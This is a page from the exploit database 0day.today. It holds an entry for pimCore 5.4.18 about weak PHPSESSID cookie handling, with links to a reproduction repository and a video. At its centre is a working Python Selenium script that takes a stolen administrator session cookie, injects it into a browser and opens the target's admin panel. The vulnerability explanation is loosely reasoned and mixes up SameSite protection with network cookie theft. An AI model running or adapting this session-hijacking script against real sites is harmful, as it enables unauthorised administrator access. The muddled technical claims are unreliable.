0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
pimCore 5.4.18 - PHPSESSID cookie Session Exploit
[## Title: pimCore-5.4.18-skeleton Sensitive Cookie with Improper SameSite Attribute - PHPSESSID cookie Session vulnerability
## Author: nu11secur1ty
## Vendor: https://pimcore.com/en
## Software: https://packagist.org/packages/pimcore/skeleton
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/pimcore/pimCore-5.4.18-skeleton
## Description:
The pimCore-5.4.18-skeleton suffers from Sensitive Cookie with Improper SameSite Attribute vulnerability - PHPSESSID cookie Session management connection requests are not sanitizing correctly.
There are no securing changes in PHPSESSID cookies for every request - validating sessions and changing a cookie for every connection - POST Request.
The attacker in the same network can trick the user - the administrator of this system and can steal his cookie,
then he can make very evil things by using the same session from the name of the already authenticated user - administrator, on a couple of PCs with different IPs which are used from different machines into that network.
When the attacker steals the cookie, he can manipulate the same session, for example, he can log out or do very malicious stuff.
This is a very stupid developer's error, and this can be very dangerous for the owner of the system.
The attack is possible also in the external network!
## STATUS: HIGH Vulnerability
[+] Payload:
```Python
#!/usr/bin/python3
# @nu11secur1ty 2023
import time
from selenium import webdriver
driver = webdriver.Chrome()
print("Give the stolen cookie...\n")
cookie = input()
print("Give the domain or IP of the owner of the cookie...\n")
target = input()
driver.maximize_window()
driver.get(target+ 'admin/?_dc=1673370965&perspective=')
driver.add_cookie({'name': 'PHPSESSID', 'value': cookie})
print(driver.get_cookie('PHPSESSID'))
driver.get(target+ 'admin/?_dc=1673370965&perspective=')
time.sleep(3)
print("Press any key to stop the exploit...\n")
input()
print("Your PHPSESSID is PWNED")
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/pimcore/pimCore-5.4.18-skeleton)
## Reference:
[href](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions)
## Proof and Exploit:
[href](https://streamable.com/lorw8x)
## Time spent
`03:00:00`
## Writing an exploit
`00:25:00`
# 0day.today [2024-12-24] #